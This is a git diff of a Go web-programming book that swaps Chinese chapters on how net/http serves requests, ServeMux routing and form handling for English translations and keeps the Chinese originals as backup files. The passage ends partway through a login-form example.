DefaultServeMux`,那么这个变量用来做什么的呢?对,这个变量就是一个路由器,它用来匹配url跳转到其相应的handle函数,那么这个我们有设置过吗?有,我们调用的代码里面第一句不是调用了`http.HandleFunc("/", sayhelloName)`嘛。这个作用就是注册了请求`/`的路由规则,当请求uri为"/",路由就会转到函数sayhelloName,DefaultServeMux会调用ServeHTTP方法,这个方法内部其实就是调用sayhelloName本身,最后通过写入response的信息反馈到客户端。 - - -详细的整个流程如下图所示: - -![](images/3.3.illustrator.png?raw=true) - -图3.10 一个http连接处理流程 - -至此我们的三个问题已经全部得到了解答,你现在对于Go如何让Web跑起来的是否已经基本了解呢? - - -## links - * [目录]() - * 上一节: [GO搭建一个简单的web服务](<03.2.md>) - * 下一节: [Go的http包详解](<03.4.md>) +# 3.3 How Go works with web + +We learned to use the `net/http` package to build a simple web server in the previous section, and all those working principles are the same as those we will talk about in the first section of this chapter. + +## Concepts in web principles + +Request: request data from users, including POST, GET, Cookie and URL. + +Response: response data from server to clients. + +Conn: connections between clients and servers. + +Handler: Request handling logic and response generation. + +## http package operating mechanism + +The following picture shows the work flow of a Go web server. + +![](images/3.3.http.png?raw=true) + +Figure 3.9 http work flow + +1. Create a listening socket, listen to a port and wait for clients. +2. Accept requests from clients. +3. Handle requests, read HTTP header. If the request uses POST method, read data in the message body and pass them to handlers. Finally, socket returns response data to clients. + +Once we know the answers to the three following questions, it's easy to know how the web works in Go. + +- How do we listen to a port? +- How do we accept client requests? +- How do we allocate handlers? + +In the previous section we saw that Go uses `ListenAndServe` to handle these steps: initialize a server object, call `net.Listen("tcp", addr)` to setup a TCP listener and listen to a specific address and port. + +Let's take a look at the `http` package's source code. + + //Build version go1.1.2. + func (srv *Server) Serve(l net.Listener) error { + defer l.Close() + var tempDelay time.Duration // how long to sleep on accept failure + for { + rw, e := l.Accept() + if e != nil { + if ne, ok := e.(net.Error); ok && ne.Temporary() { + if tempDelay == 0 { + tempDelay = 5 * time.Millisecond + } else { + tempDelay *= 2 + } + if max := 1 * time.Second; tempDelay > max { + tempDelay = max + } + log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) + time.Sleep(tempDelay) + continue + } + return e + } + tempDelay = 0 + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + } + } + + +How do we accept client requests after we begin listening to a port? In the source code, we can see that `srv.Serve(net.Listener)` is called to handle client requests. In the body of the function there is a `for{}`. It accepts a request, creates a new connection then starts a new goroutine, passing the request data to the `go c.serve()` goroutine. This is how Go supports high concurrency, and every goroutine is independent. + +How do we use specific functions to handle requests? `conn` parses request `c.ReadRequest()` at first, then gets the corresponding handler: `handler := c.server.Handler` which is the second argument we passed when we called `ListenAndServe`. Because we passed `nil`, Go uses its default handler `handler = DefaultServeMux`. So what is `DefaultServeMux` doing here? Well, its the router variable which can call handler functions for specific URLs. Did we set this? Yes, we did. We did this in the first line where we used `http.HandleFunc("/", sayhelloName)`. We're using this function to register the router rule for the "/" path. When the URL is `/`, the router calls the function `sayhelloName`. DefaultServeMux calls ServerHTTP to get handler functions for different paths, calling `sayhelloName` in this specific case. Finally, the server writes data and responds to clients. + +Detailed work flow: + +![](images/3.3.illustrator.png?raw=true) + +Figure 3.10 Work flow of handling an HTTP request + +I think you should know how Go runs web servers now. + +## Links + +- [Directory](preface.md) +- Previous section: [Build a simple web server](03.2.md) +- Next section: [Get into http package](03.4.md) diff --git a/en/03.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/03.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..b5a2e4b3 --- /dev/null +++ b/en/03.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,87 @@ +# 3.3 Go如何使得Web工作 +前面小节介绍了如何通过Go搭建一个Web服务,我们可以看到简单应用一个net/http包就方便的搭建起来了。那么Go在底层到底是怎么做的呢?万变不离其宗,Go的Web服务工作也离不开我们第一小节介绍的Web工作方式。 + +## web工作方式的几个概念 + +以下均是服务器端的几个概念 + +Request:用户请求的信息,用来解析用户的请求信息,包括post、get、cookie、url等信息 + +Response:服务器需要反馈给客户端的信息 + +Conn:用户的每次请求链接 + +Handler:处理请求和生成返回信息的处理逻辑 + +## 分析http包运行机制 + +如下图所示,是Go实现Web服务的工作模式的流程图 + +![](images/3.3.http.png?raw=true) + +图3.9 http包执行流程 + +1. 创建Listen Socket, 监听指定的端口, 等待客户端请求到来。 + +2. Listen Socket接受客户端的请求, 得到Client Socket, 接下来通过Client Socket与客户端通信。 + +3. 处理客户端的请求, 首先从Client Socket读取HTTP请求的协议头, 如果是POST方法, 还可能要读取客户端提交的数据, 然后交给相应的handler处理请求, handler处理完毕准备好客户端需要的数据, 通过Client Socket写给客户端。 + +这整个的过程里面我们只要了解清楚下面三个问题,也就知道Go是如何让Web运行起来了 + +- 如何监听端口? +- 如何接收客户端请求? +- 如何分配handler? + +前面小节的代码里面我们可以看到,Go是通过一个函数`ListenAndServe`来处理这些事情的,这个底层其实这样处理的:初始化一个server对象,然后调用了`net.Listen("tcp", addr)`,也就是底层用TCP协议搭建了一个服务,然后监控我们设置的端口。 + +下面代码来自Go的http包的源码,通过下面的代码我们可以看到整个的http处理过程: + + func (srv *Server) Serve(l net.Listener) error { + defer l.Close() + var tempDelay time.Duration // how long to sleep on accept failure + for { + rw, e := l.Accept() + if e != nil { + if ne, ok := e.(net.Error); ok && ne.Temporary() { + if tempDelay == 0 { + tempDelay = 5 * time.Millisecond + } else { + tempDelay *= 2 + } + if max := 1 * time.Second; tempDelay > max { + tempDelay = max + } + log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) + time.Sleep(tempDelay) + continue + } + return e + } + tempDelay = 0 + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + } + } + +监控之后如何接收客户端的请求呢?上面代码执行监控端口之后,调用了`srv.Serve(net.Listener)`函数,这个函数就是处理接收客户端的请求信息。这个函数里面起了一个`for{}`,首先通过Listener接收请求,其次创建一个Conn,最后单独开了一个goroutine,把这个请求的数据当做参数扔给这个conn去服务:`go c.serve()`。这个就是高并发体现了,用户的每一次请求都是在一个新的goroutine去服务,相互不影响。 + +那么如何具体分配到相应的函数来处理请求呢?conn首先会解析request:`c.readRequest()`,然后获取相应的handler:`handler := c.server.Handler`,也就是我们刚才在调用函数`ListenAndServe`时候的第二个参数,我们前面例子传递的是nil,也就是为空,那么默认获取`handler = DefaultServeMux`,那么这个变量用来做什么的呢?对,这个变量就是一个路由器,它用来匹配url跳转到其相应的handle函数,那么这个我们有设置过吗?有,我们调用的代码里面第一句不是调用了`http.HandleFunc("/", sayhelloName)`嘛。这个作用就是注册了请求`/`的路由规则,当请求uri为"/",路由就会转到函数sayhelloName,DefaultServeMux会调用ServeHTTP方法,这个方法内部其实就是调用sayhelloName本身,最后通过写入response的信息反馈到客户端。 + + +详细的整个流程如下图所示: + +![](images/3.3.illustrator.png?raw=true) + +图3.10 一个http连接处理流程 + +至此我们的三个问题已经全部得到了解答,你现在对于Go如何让Web跑起来的是否已经基本了解呢? + + +## links + * [目录]() + * 上一节: [GO搭建一个简单的web服务](<03.2.md>) + * 下一节: [Go的http包详解](<03.4.md>) diff --git a/en/03.4.md b/en/03.4.md index 3d502277..08062cfb 100644 --- a/en/03.4.md +++ b/en/03.4.md @@ -1,181 +1,135 @@ -# 3.4 Go的http包详解 -前面小节介绍了Go怎么样实现了Web工作模式的一个流程,这一小节,我们将详细地解剖一下http包,看它到底是怎样实现整个过程的。 - -Go的http有两个核心功能:Conn、ServeMux - -## Conn的goroutine -与我们一般编写的http服务器不同, Go为了实现高并发和高性能, 使用了goroutines来处理Conn的读写事件, 这样每个请求都能保持独立,相互不会阻塞,可以高效的响应网络事件。这是Go高效的保证。 - -Go在等待客户端请求里面是这样写的: - - c, err := srv.newConn(rw) - if err != nil { - continue - } - go c.serve() - -这里我们可以看到客户端的每次请求都会创建一个Conn,这个Conn里面保存了该次请求的信息,然后再传递到对应的handler,该handler中便可以读取到相应的header信息,这样保证了每个请求的独立性。 - -## ServeMux的自定义 -我们前面小节讲述conn.server的时候,其实内部是调用了http包默认的路由器,通过路由器把本次请求的信息传递到了后端的处理函数。那么这个路由器是怎么实现的呢? - -它的结构如下: - - type ServeMux struct { - mu sync.RWMutex //锁,由于请求涉及到并发处理,因此这里需要一个锁机制 - m map[string]muxEntry // 路由规则,一个string对应一个mux实体,这里的string就是注册的路由表达式 - hosts bool // 是否在任意的规则中带有host信息 - } - -下面看一下muxEntry - - type muxEntry struct { - explicit bool // 是否精确匹配 - h Handler // 这个路由表达式对应哪个handler - pattern string //匹配字符串 - } - -接着看一下Handler的定义 - - type Handler interface { - ServeHTTP(ResponseWriter, *Request) // 路由实现器 - } - -Handler是一个接口,但是前一小节中的`sayhelloName`函数并没有实现ServeHTTP这个接口,为什么能添加呢?原来在http包里面还定义了一个类型`HandlerFunc`,我们定义的函数`sayhelloName`就是这个HandlerFunc调用之后的结果,这个类型默认就实现了ServeHTTP这个接口,即我们调用了HandlerFunc(f),强制类型转换f成为HandlerFunc类型,这样f就拥有了ServeHTTP方法。 - - type HandlerFunc func(ResponseWriter, *Request) - - // ServeHTTP calls f(w, r). - func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { - f(w, r) - } - -路由器里面存储好了相应的路由规则之后,那么具体的请求又是怎么分发的呢?请看下面的代码,默认的路由器实现了`ServeHTTP`: - - func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) { - if r.RequestURI == "*" { - w.Header().Set("Connection", "close") - w.WriteHeader(StatusBadRequest) - return - } - h, _ := mux.Handler(r) - h.ServeHTTP(w, r) - } - -如上所示路由器接收到请求之后,如果是`*`那么关闭链接,不然调用`mux.Handler(r)`返回对应设置路由的处理Handler,然后执行`h.ServeHTTP(w, r)` - -也就是调用对应路由的handler的ServerHTTP接口,那么mux.Handler(r)怎么处理的呢? - - func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) { - if r.Method != "CONNECT" { - if p := cleanPath(r.URL.Path); p != r.URL.Path { - _, pattern = mux.handler(r.Host, p) - return RedirectHandler(p, StatusMovedPermanently), pattern - } - } - return mux.handler(r.Host, r.URL.Path) - } - - func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) { - mux.mu.RLock() - defer mux.mu.RUnlock() - - // Host-specific pattern takes precedence over generic ones - if mux.hosts { - h, pattern = mux.match(host + path) - } - if h == nil { - h, pattern = mux.match(path) - } - if h == nil { - h, pattern = NotFoundHandler(), "" - } - return - } - -原来他是根据用户请求的URL和路由器里面存储的map去匹配的,当匹配到之后返回存储的handler,调用这个handler的ServeHTTP接口就可以执行到相应的函数了。 - -通过上面这个介绍,我们了解了整个路由过程,Go其实支持外部实现的路由器 `ListenAndServe`的第二个参数就是用以配置外部路由器的,它是一个Handler接口,即外部路由器只要实现了Handler接口就可以,我们可以在自己实现的路由器的ServeHTTP里面实现自定义路由功能。 - -如下代码所示,我们自己实现了一个简易的路由器 - - package main - - import ( - "fmt" - "net/http" - ) - - type MyMux struct { - } - - func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if r.URL.Path == "/" { - sayhelloName(w, r) - return - } - http.NotFound(w, r) - return - } - - func sayhelloName(w http.ResponseWriter, r *http.Request) { - fmt.Fprintf(w, "Hello myroute!") - } - - func main() { - mux := &MyMux{} - http.ListenAndServe(":9090", mux) - } - -## Go代码的执行流程 - -通过对http包的分析之后,现在让我们来梳理一下整个的代码执行过程。 - -- 首先调用Http.HandleFunc - - 按顺序做了几件事: - - 1 调用了DefaultServeMux的HandleFunc - - 2 调用了DefaultServeMux的Handle - - 3 往DefaultServeMux的map[string]muxEntry中增加对应的handler和路由规则 - -- 其次调用http.ListenAndServe(":9090", nil) - - 按顺序做了几件事情: - - 1 实例化Server - - 2 调用Server的ListenAndServe() - - 3 调用net.Listen("tcp", addr)监听端口 - - 4 启动一个for循环,在循环体中Accept请求 - - 5 对每个请求实例化一个Conn,并且开启一个goroutine为这个请求进行服务go c.serve() - - 6 读取每个请求的内容w, err := c.readRequest() - - 7 判断handler是否为空,如果没有设置handler(这个例子就没有设置handler),handler就设置为DefaultServeMux - - 8 调用handler的ServeHttp - - 9 在这个例子中,下面就进入到DefaultServeMux.ServeHttp - - 10 根据request选择handler,并且进入到这个handler的ServeHTTP - - mux.handler(r).ServeHTTP(w, r) - - 11 选择handler: - - A 判断是否有路由能满足这个request(循环遍历ServerMux的muxEntry) - - B 如果有路由满足,调用这个路由handler的ServeHttp - - C 如果没有路由满足,调用NotFoundHandler的ServeHttp - -## links - * [目录]() - * 上一节: [Go如何使得web工作](<03.3.md>) - * 下一节: [小结](<03.5.md>) +# 3.4 Get into http package + +In previous sections, we learned about the work flow of the web and talked a little bit about Go's `http` package. In this section, we are going to learn about two core functions in the `http` package: Conn and ServeMux. + +## goroutine in Conn + +Unlike normal HTTP servers, Go uses goroutines for every job initiated by Conn in order to achieve high concurrency and performance, so every job is independent. + +Go uses the following code to wait for new connections from clients. + + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + +As you can see, it creates a new goroutine for every connection, and passes the handler that is able to read data from the request to the goroutine. + +## Customized ServeMux + +We used Go's default router in previous sections when discussing conn.server, with the router passing request data to a back-end handler. + +The struct of the default router: + + type ServeMux struct { + mu sync.RWMutex // because of concurrency, we have to use a mutex here + m map[string]muxEntry // router rules, every string mapping to a handler + } + +The struct of muxEntry: + + type muxEntry struct { + explicit bool // exact match or not + h Handler + } + +The interface of Handler: + + type Handler interface { + ServeHTTP(ResponseWriter, *Request) // routing implementer + } + +`Handler` is an interface, but if the function `sayhelloName` didn't implement this interface, then how did we add it as handler? The answer lies in another type called `HandlerFunc` in the `http` package. We called `HandlerFunc` to define our `sayhelloName` method, so `sayhelloName` implemented `Handler` at the same time. It's like we're calling `HandlerFunc(f)`, and the function `f` is force converted to type `HandlerFunc`. + + type HandlerFunc func(ResponseWriter, *Request) + + // ServeHTTP calls f(w, r). + func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) + } + +How does the router call handlers after we set the router rules? + +The router calls `mux.handler.ServeHTTP(w, r)` when it receives requests. In other words, it calls the `ServeHTTP` interface of the handlers which have implemented it. + +Now, let's see how `mux.handler` works. + + func (mux *ServeMux) handler(r *Request) Handler { + mux.mu.RLock() + defer mux.mu.RUnlock() + + // Host-specific pattern takes precedence over generic ones + h := mux.match(r.Host + r.URL.Path) + if h == nil { + h = mux.match(r.URL.Path) + } + if h == nil { + h = NotFoundHandler() + } + return h + } + +The router uses the request's URL as a key to find the corresponding handler saved in the map, then calls handler.ServeHTTP to execute functions to handle the data. + +You should understand the default router's work flow by now, and Go actually supports customized routers. The second argument of `ListenAndServe` is for configuring customized routers. It's an interface of `Handler`. Therefore, any router that implements the `Handler` interface can be used. + +The following example shows how to implement a simple router. + + package main + + import ( + "fmt" + "net/http" + ) + + type MyMux struct { + } + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return + } + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") + } + + func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) + } + +## Go code execution flow + +Let's take a look at the whole execution flow. + +- Call `http.HandleFunc` + 1. Call HandleFunc of DefaultServeMux + 2. Call Handle of DefaultServeMux + 3. Add router rules to map[string]muxEntry of DefaultServeMux +- Call `http.ListenAndServe(":9090", nil)` + 1. Instantiate Server + 2. Call ListenAndServe method of Server + 3. Call net.Listen("tcp", addr) to listen to port + 4. Start a loop and accept requests in the loop body + 5. Instantiate a Conn and start a goroutine for every request: `go c.serve()` + 6. Read request data: `w, err := c.readRequest()` + 7. Check whether handler is empty or not, if it's empty then use DefaultServeMux + 8. Call ServeHTTP of handler + 9. Execute code in DefaultServeMux in this case + 10. Choose handler by URL and execute code in that handler function: `mux.handler.ServeHTTP(w, r)` + 11. How to choose handler: + A. Check router rules for this URL + B. Call ServeHTTP in that handler if there is one + C. Call ServeHTTP of NotFoundHandler otherwise + +## Links + +- [Directory](preface.md) +- Previous section: [How Go works with web](03.3.md) +- Next section: [Summary](03.5.md) diff --git a/en/03.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/03.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..8fef56f8 --- /dev/null +++ b/en/03.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,181 @@ +# 3.4 Go的http包详解 +前面小节介绍了Go怎么样实现了Web工作模式的一个流程,这一小节,我们将详细地解剖一下http包,看它到底是怎样实现整个过程的。 + +Go的http有两个核心功能:Conn、ServeMux + +## Conn的goroutine +与我们一般编写的http服务器不同, Go为了实现高并发和高性能, 使用了goroutines来处理Conn的读写事件, 这样每个请求都能保持独立,相互不会阻塞,可以高效的响应网络事件。这是Go高效的保证。 + +Go在等待客户端请求里面是这样写的: + + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + +这里我们可以看到客户端的每次请求都会创建一个Conn,这个Conn里面保存了该次请求的信息,然后再传递到对应的handler,该handler中便可以读取到相应的header信息,这样保证了每个请求的独立性。 + +## ServeMux的自定义 +我们前面小节讲述conn.server的时候,其实内部是调用了http包默认的路由器,通过路由器把本次请求的信息传递到了后端的处理函数。那么这个路由器是怎么实现的呢? + +它的结构如下: + + type ServeMux struct { + mu sync.RWMutex //锁,由于请求涉及到并发处理,因此这里需要一个锁机制 + m map[string]muxEntry // 路由规则,一个string对应一个mux实体,这里的string就是注册的路由表达式 + hosts bool // 是否在任意的规则中带有host信息 + } + +下面看一下muxEntry + + type muxEntry struct { + explicit bool // 是否精确匹配 + h Handler // 这个路由表达式对应哪个handler + pattern string //匹配字符串 + } + +接着看一下Handler的定义 + + type Handler interface { + ServeHTTP(ResponseWriter, *Request) // 路由实现器 + } + +Handler是一个接口,但是前一小节中的`sayhelloName`函数并没有实现ServeHTTP这个接口,为什么能添加呢?原来在http包里面还定义了一个类型`HandlerFunc`,我们定义的函数`sayhelloName`就是这个HandlerFunc调用之后的结果,这个类型默认就实现了ServeHTTP这个接口,即我们调用了HandlerFunc(f),强制类型转换f成为HandlerFunc类型,这样f就拥有了ServeHTTP方法。 + + type HandlerFunc func(ResponseWriter, *Request) + + // ServeHTTP calls f(w, r). + func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) + } + +路由器里面存储好了相应的路由规则之后,那么具体的请求又是怎么分发的呢?请看下面的代码,默认的路由器实现了`ServeHTTP`: + + func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) { + if r.RequestURI == "*" { + w.Header().Set("Connection", "close") + w.WriteHeader(StatusBadRequest) + return + } + h, _ := mux.Handler(r) + h.ServeHTTP(w, r) + } + +如上所示路由器接收到请求之后,如果是`*`那么关闭链接,不然调用`mux.Handler(r)`返回对应设置路由的处理Handler,然后执行`h.ServeHTTP(w, r)` + +也就是调用对应路由的handler的ServerHTTP接口,那么mux.Handler(r)怎么处理的呢? + + func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) { + if r.Method != "CONNECT" { + if p := cleanPath(r.URL.Path); p != r.URL.Path { + _, pattern = mux.handler(r.Host, p) + return RedirectHandler(p, StatusMovedPermanently), pattern + } + } + return mux.handler(r.Host, r.URL.Path) + } + + func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) { + mux.mu.RLock() + defer mux.mu.RUnlock() + + // Host-specific pattern takes precedence over generic ones + if mux.hosts { + h, pattern = mux.match(host + path) + } + if h == nil { + h, pattern = mux.match(path) + } + if h == nil { + h, pattern = NotFoundHandler(), "" + } + return + } + +原来他是根据用户请求的URL和路由器里面存储的map去匹配的,当匹配到之后返回存储的handler,调用这个handler的ServeHTTP接口就可以执行到相应的函数了。 + +通过上面这个介绍,我们了解了整个路由过程,Go其实支持外部实现的路由器 `ListenAndServe`的第二个参数就是用以配置外部路由器的,它是一个Handler接口,即外部路由器只要实现了Handler接口就可以,我们可以在自己实现的路由器的ServeHTTP里面实现自定义路由功能。 + +如下代码所示,我们自己实现了一个简易的路由器 + + package main + + import ( + "fmt" + "net/http" + ) + + type MyMux struct { + } + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return + } + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") + } + + func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) + } + +## Go代码的执行流程 + +通过对http包的分析之后,现在让我们来梳理一下整个的代码执行过程。 + +- 首先调用Http.HandleFunc + + 按顺序做了几件事: + + 1 调用了DefaultServeMux的HandleFunc + + 2 调用了DefaultServeMux的Handle + + 3 往DefaultServeMux的map[string]muxEntry中增加对应的handler和路由规则 + +- 其次调用http.ListenAndServe(":9090", nil) + + 按顺序做了几件事情: + + 1 实例化Server + + 2 调用Server的ListenAndServe() + + 3 调用net.Listen("tcp", addr)监听端口 + + 4 启动一个for循环,在循环体中Accept请求 + + 5 对每个请求实例化一个Conn,并且开启一个goroutine为这个请求进行服务go c.serve() + + 6 读取每个请求的内容w, err := c.readRequest() + + 7 判断handler是否为空,如果没有设置handler(这个例子就没有设置handler),handler就设置为DefaultServeMux + + 8 调用handler的ServeHttp + + 9 在这个例子中,下面就进入到DefaultServeMux.ServeHttp + + 10 根据request选择handler,并且进入到这个handler的ServeHTTP + + mux.handler(r).ServeHTTP(w, r) + + 11 选择handler: + + A 判断是否有路由能满足这个request(循环遍历ServerMux的muxEntry) + + B 如果有路由满足,调用这个路由handler的ServeHttp + + C 如果没有路由满足,调用NotFoundHandler的ServeHttp + +## links + * [目录]() + * 上一节: [Go如何使得web工作](<03.3.md>) + * 下一节: [小结](<03.5.md>) diff --git a/en/03.5.md b/en/03.5.md index bb44e8a5..2d24cf9f 100644 --- a/en/03.5.md +++ b/en/03.5.md @@ -1,9 +1,11 @@ -# 3.5 小结 -这一章我们介绍了HTTP协议, DNS解析的过程, 如何用go实现一个简陋的web server。并深入到net/http包的源码中为大家揭开实现此server的秘密。 - -希望通过这一章的学习,你能够对Go开发Web有了初步的了解,我们也看到相应的代码了,Go开发Web应用是很方便的,同时又是相当的灵活。 - -## links - * [目录]() - * 上一节: [Go的http包详解](<03.4.md>) - * 下一章: [表单](<04.0.md>) +# 3.5 Summary + +In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how Go implements web servers for us by looking at the source code of the `net/http` package. + +I hope that you now know much more about web development, and you should see that it's quite easy and flexible to build a web application in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Get into http package](03.4.md) +- Next chapter: [User form](04.0.md) diff --git a/en/03.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/03.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..50e4d534 --- /dev/null +++ b/en/03.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,9 @@ +# 3.5 小结 +这一章我们介绍了HTTP协议, DNS解析的过程, 如何用go实现一个简陋的web server。并深入到net/http包的源码中为大家揭开实现此server的秘密。 + +希望通过这一章的学习,你能够对Go开发Web有了初步的了解,我们也看到相应的代码了,Go开发Web应用是很方便的,同时又是相当的灵活。 + +## links + * [目录]() + * 上一节: [Go的http包详解](<03.4.md>) + * 下一章: [表单](<04.0.md>) diff --git a/en/04.0.md b/en/04.0.md index 46ba3fc9..5c250877 100644 --- a/en/04.0.md +++ b/en/04.0.md @@ -1,25 +1,23 @@ -# 4 表单 - -表单是我们平常编写Web应用常用的工具,通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉,但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢? - -表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\)定义。 - -
- ... - input 元素 - ... -
- -Go里面对于form处理已经有很方便的方法了,在Request里面的有专门的form处理,可以很方便的整合到Web开发里面来,4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入,所以我们需要对这些输入进行有效性验证,4.2小节将就如何进行一些普通的验证进行详细的演示。 - -HTTP协议是一种无状态的协议,那么如何才能辨别是否是同一个用户呢?同时又如何保证一个表单不出现多次递交的情况呢?4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息,能够每次通过header和服务器进行交互的数据)等进行详细讲解。 - -表单还有一个很大的功能就是能够上传文件,那么Go是如何处理文件上传的呢?针对大文件上传我们如何有效的处理呢?4.5小节我们将一起学习Go处理文件上传的知识。 - -## 目录 -![](images/navi4.png?raw=true) - -## links - * [目录]() - * 上一章: [第三章总结](<03.5.md>) - * 下一节: [处理表单的输入](<04.1.md>) +# 4 User form + +A user form is something that is very commonly used when developping web applications. It provides the ability to communicate between clients and servers. You must be very familiar with forms if you are a web developer; if you are a C/C++ programmer, you may want to ask: what is a user form? + +A form is an area that contains form elements. Users can input information into form elements like text boxes, drop down lists, radio buttons, check boxes, etc. We use the form tag `
` to define forms. + + + ... + input elements + ... +
+ +Go already has many convenient functions to deal with user forms. You can easily get form data in HTTP requests, and they are easy to integrate into your own web applications. In section 4.1, we are going to talk about how to handle form data in Go. Also, since you cannot trust any data coming from the client side, you must first verify the data before using it. We'll go through some examples about how to verify form data in section 4.2. + +We say that HTTP is stateless. How can we identify that certain forms are from the same user? And how do we make sure that one form can only be submitted once? We'll look at some details concerning cookies (a cookie is information that can be saved on the client side and added to the request header when the request is sent to the server) in both sections 4.3 and 4.4. + +Another big use-case of forms is uploading files. In section 4.5, you will learn how to do this as well as controlling the file upload size before it begins uploading, in Go. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 3 Summary](03.5.md) +- Next section: [Process form inputs](04.1.md) diff --git a/en/04.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/04.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..7b84acd1 --- /dev/null +++ b/en/04.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,25 @@ +# 4 表单 + +表单是我们平常编写Web应用常用的工具,通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉,但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢? + +表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\)定义。 + +
+ ... + input 元素 + ... +
+ +Go里面对于form处理已经有很方便的方法了,在Request里面的有专门的form处理,可以很方便的整合到Web开发里面来,4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入,所以我们需要对这些输入进行有效性验证,4.2小节将就如何进行一些普通的验证进行详细的演示。 + +HTTP协议是一种无状态的协议,那么如何才能辨别是否是同一个用户呢?同时又如何保证一个表单不出现多次递交的情况呢?4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息,能够每次通过header和服务器进行交互的数据)等进行详细讲解。 + +表单还有一个很大的功能就是能够上传文件,那么Go是如何处理文件上传的呢?针对大文件上传我们如何有效的处理呢?4.5小节我们将一起学习Go处理文件上传的知识。 + +## 目录 +![](images/navi4.png?raw=true) + +## links + * [目录]() + * 上一章: [第三章总结](<03.5.md>) + * 下一节: [处理表单的输入](<04.1.md>) diff --git a/en/04.1.md b/en/04.1.md index 4f7217c6..a95ade6c 100644 --- a/en/04.1.md +++ b/en/04.1.md @@ -1,109 +1,107 @@ -# 4.1 处理表单的输入 - -先来看一个表单递交的例子,我们有如下的表单内容,命名成文件login.gtpl(放入当前新建项目的目录里面) - - - - - - -
- 用户名: - 密码: - -
- - - -上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面,我们首先要判断这个是什么方式传递过来,POST还是GET呢? - -http包里面有一个很简单的方式就可以获取,我们在前面web的例子的基础上来看看怎么处理login页面的form数据 - - - package main - - import ( - "fmt" - "html/template" - "log" - "net/http" - "strings" - ) - - func sayhelloName(w http.ResponseWriter, r *http.Request) { - r.ParseForm() //解析url传递的参数,对于POST则解析响应包的主体(request body) - //注意:如果没有调用ParseForm方法,下面无法获取表单的数据 - fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息 - fmt.Println("path", r.URL.Path) - fmt.Println("scheme", r.URL.Scheme) - fmt.Println(r.Form["url_long"]) - for k, v := range r.Form { - fmt.Println("key:", k) - fmt.Println("val:", strings.Join(v, "")) - } - fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的 - } - - func login(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) //获取请求的方法 - if r.Method == "GET" { - t, _ := template.ParseFiles("login.gtpl") - log.Println(t.Execute(w, nil)) - } else { - //请求的是登陆数据,那么执行登陆的逻辑判断 - fmt.Println("username:", r.Form["username"]) - fmt.Println("password:", r.Form["password"]) - } - } - - func main() { - http.HandleFunc("/", sayhelloName) //设置访问的路由 - http.HandleFunc("/login", login) //设置访问的路由 - err := http.ListenAndServe(":9090", nil) //设置监听的端口 - if err != nil { - log.Fatal("ListenAndServe: ", err) - } - } - - -通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的,这是个字符串类型的变量,返回GET, POST, PUT等method信息。 - -login函数中我们根据`r.Method`来判断是显示登录界面还是处理登录逻辑。当GET方式请求时显示登录界面,其他方式请求时则处理登录逻辑,如查询数据库、验证登录信息等。 - -当我们在浏览器里面打开`http://127.0.0.1:9090/login`的时候,出现如下界面 - -![](images/4.1.login.png?raw=true) - -如果你看到一个空页面,可能是你写的 